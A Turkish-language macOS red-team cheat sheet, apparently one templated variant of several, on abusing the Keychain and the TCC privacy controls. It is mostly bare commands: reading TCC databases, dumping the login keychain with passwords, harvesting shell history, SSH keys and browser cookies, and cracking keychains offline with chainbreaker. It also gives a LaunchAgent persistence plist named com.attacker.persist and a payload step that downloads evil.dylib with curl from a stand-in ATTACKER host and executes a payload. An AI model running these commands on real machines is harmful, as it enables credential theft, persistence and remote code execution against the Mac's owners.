macOS Keychain

macos red-team

macOS Keychain macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. macOS Keychain için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

macOS Keychain macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

id; whoami; hostname

sw_vers; uname -a

csrutil status

spctl --status

system_profiler SPSoftwareDataType | head -n 40

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

ps aux | head -n 50

lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

TCC / Keychain / privacy

TCC veritabanı ve TCC’li uygulamalar üzerinden hassas veri veya AppleEvent suistimali.

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,service,auth_value FROM access"

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,service,auth_value FROM access" 2>/dev/null

tccutil reset All com.example.app 2>/dev/null

security dump-keychain -d login.keychain-db 2>/dev/null | head -n 80

security find-generic-password -a $USER -s 'target' -w 2>/dev/null

osascript -e 'tell application "System Events" to get name of every process'

osascript -e 'tell application "Finder" to get home'

ls -la ~/Library/Application\ Support/com.apple.TCC/

Kalıcılık / MDM

LaunchAgent/Daemon, Login Item ve MDM enrollment red-team kalıcılık yüzeyidir.

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons /System/Library/LaunchDaemons 2>/dev/null

launchctl list | head -n 40

osascript -e 'tell application "System Events" to get the name of every login item'

profiles status -type enrollment 2>/dev/null

profiles list -verbose 2>/dev/null | head

system_profiler SPHardwareDataType | rg 'Serial'

cat ~/Library/LaunchAgents/*.plist 2>/dev/null | head -n 80

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.attacker.persist</string>
  <key>ProgramArguments</key><array><string>/Users/Shared/p</string></array>
  <key>RunAtLoad</key><true/>
</dict></plist>

Sistem / binary / debug

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

file /Applications/App.app/Contents/MacOS/*

lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null

nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

vmmap $(pgrep -n App) 2>/dev/null | head

lldb -p $(pgrep -n App)

nvram -p

kextstat 2>/dev/null | head

systemextensionsctl list 2>/dev/null

ioreg -l | rg -i 'IOUserClient|IOKit' | head

ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head

find /Users /Library -name '*.plist' 2>/dev/null | head -n 40

Hassas veri ve loot

ls -la ~/Library/Keychains ~/.ssh 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50

defaults read 2>/dev/null | head

find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head

security find-internet-password -g 2>/dev/null | head

Keychain loot

login.keychain ve iCloud keychain gizli anahtar/parola kaynağıdır.

security list-keychains

security dump-keychain -d login.keychain-db

security find-generic-password -a $USER -g

security find-internet-password -g

chainbreaker -f login.keychain-db -p PASS  # offline

Manuel doğrulama

# macOS Keychain — varyant 76

ls -la@ ~/Library ~/Documents 2>/dev/null | head

mdfind 'kMDItemKind == Application' | head

defaults read com.apple.dock 2>/dev/null | head

log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head

fs_usage -w -f filesys 2>/dev/null | head

sample App 3 2>/dev/null | head

Payload taşıma

python3 -m http.server 8000

curl -O http://ATTACKER/evil.dylib

chmod +x ./payload && ./payload

Checklist

[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

Notlar

macOS Keychain sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.